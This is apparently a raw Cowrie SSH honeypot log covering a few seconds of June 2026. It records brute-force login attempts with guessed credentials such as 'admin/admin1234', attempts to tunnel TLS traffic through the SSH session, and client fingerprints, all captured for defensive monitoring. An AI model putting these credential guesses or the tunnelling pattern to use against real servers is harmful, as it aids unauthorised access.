{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdd\\xc0\\xdeD\\xa5M\\xc8D\\xaf\\x89\\xb8]i\\xf79\\xf6\\xe9]2\\xf5\\x7f\\xdb^\\x88\\x96\\xdf-s\\x85$+. \\xf7\\xb3\\\\\\xf1\\x07\\x19\\xbc$8\\xee\\xaa}\\x86(\\x88\\xfe7\\x99\\x8d\\xc2\\xb5\\xf7\\xd5\\xf5v\\x8c\\xf2\\xb6\\xf8`\\xe3\\xe2\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcf\\x00\\x14\\xe8\\x8f_\\xa0z0\\xa7e\\x0b\\x818\\xc9ZQ\\x9cV\\r,\\xbd\\xd4b\\xee\\xeb\"\\xe2\\xce\\xefTq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdd\\xc0\\xdeD\\xa5M\\xc8D\\xaf\\x89\\xb8]i\\xf79\\xf6\\xe9]2\\xf5\\x7f\\xdb^\\x88\\x96\\xdf-s\\x85$+. \\xf7\\xb3\\\\\\xf1\\x07\\x19\\xbc$8\\xee\\xaa}\\x86(\\x88\\xfe7\\x99\\x8d\\xc2\\xb5\\xf7\\xd5\\xf5v\\x8c\\xf2\\xb6\\xf8`\\xe3\\xe2\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcf\\x00\\x14\\xe8\\x8f_\\xa0z0\\xa7e\\x0b\\x818\\xc9ZQ\\x9cV\\r,\\xbd\\xd4b\\xee\\xeb\"\\xe2\\xce\\xefTq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:31.795251Z","src_ip":"123.27.168.40","session":"dd764b1c085a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:32.267200Z","session":"dd764b1c085a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:32.508134Z","src_ip":"123.27.168.40","session":"dd764b1c085a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xea\\x1d\\xc6\\x0ey\\x88\\x17\\xbc\\xb0\\x8en\\x88\\r}1<\\x8d\\x1e\\xd5\\x0e\\x06\\xcb\\x86\\xa4 \\x8b\\xcb|\\x81\\xb1\\xe8R \\x08\\x07,\\x1b\\x83\\x10y\\xa0ay\\xa2\\xf0\\xef\\xaaj\\xcf\\xe1R\\xb77[\\xd1h\"X\\x92\\x87@I\\x90\\x1eo\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 l\\x9b\\xcc\\xce\\x9b~\\x1d\\x07\\xb4*\\xd8\\x82\\x9c\\xfe\\xb02(\\x07\\xa5\\x00\\x94\\xb7\\xaf\\xb6\\x7fP\\xe5\\xd7\\x88+\\x8b.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xea\\x1d\\xc6\\x0ey\\x88\\x17\\xbc\\xb0\\x8en\\x88\\r}1<\\x8d\\x1e\\xd5\\x0e\\x06\\xcb\\x86\\xa4 \\x8b\\xcb|\\x81\\xb1\\xe8R \\x08\\x07,\\x1b\\x83\\x10y\\xa0ay\\xa2\\xf0\\xef\\xaaj\\xcf\\xe1R\\xb77[\\xd1h\"X\\x92\\x87@I\\x90\\x1eo\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 l\\x9b\\xcc\\xce\\x9b~\\x1d\\x07\\xb4*\\xd8\\x82\\x9c\\xfe\\xb02(\\x07\\xa5\\x00\\x94\\xb7\\xaf\\xb6\\x7fP\\xe5\\xd7\\x88+\\x8b.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:32.511016Z","src_ip":"123.27.168.40","session":"dd764b1c085a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37780,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe80a87b3096","protocol":"ssh","message":"New connection: 45.153.34.195:37780 (10.17.0.5:22) [session: fe80a87b3096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:32.882008Z"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:32.886788Z","src_ip":"123.27.168.40","session":"dd764b1c085a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:32.954224Z","src_ip":"45.153.34.195","session":"fe80a87b3096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:33.190203Z","src_ip":"45.153.34.195","session":"fe80a87b3096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"p","password":"p","message":"login attempt [p/p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:33.550499Z","src_ip":"45.153.34.195","session":"fe80a87b3096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":52448,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bf80ee28973","protocol":"ssh","message":"New connection: 23.175.50.47:52448 (10.17.0.5:22) [session: 1bf80ee28973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:34.626168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:34.629632Z","src_ip":"23.175.50.47","session":"1bf80ee28973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:34.633945Z","src_ip":"45.153.34.195","session":"fe80a87b3096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:34.713375Z","src_ip":"23.175.50.47","session":"1bf80ee28973","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:35.727218Z","src_ip":"23.175.50.47","session":"1bf80ee28973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37784,"dst_ip":"10.17.0.5","dst_port":22,"session":"64b7e1fdfb99","protocol":"ssh","message":"New connection: 45.153.34.195:37784 (10.17.0.5:22) [session: 64b7e1fdfb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:35.982697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:36.005541Z","src_ip":"45.153.34.195","session":"64b7e1fdfb99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:36.083303Z","src_ip":"45.153.34.195","session":"64b7e1fdfb99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":60388,"dst_ip":"159.203.135.109","dst_port":22,"session":"d82141c6dc2d","protocol":"ssh","message":"New connection: 27.71.230.31:60388 (159.203.135.109:22) [session: d82141c6dc2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:36.448780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:36.478102Z","src_ip":"27.71.230.31","session":"d82141c6dc2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123","message":"login attempt [myuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:36.513637Z","src_ip":"45.153.34.195","session":"64b7e1fdfb99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:36.795404Z","src_ip":"27.71.230.31","session":"d82141c6dc2d","protocol":"ssh"}
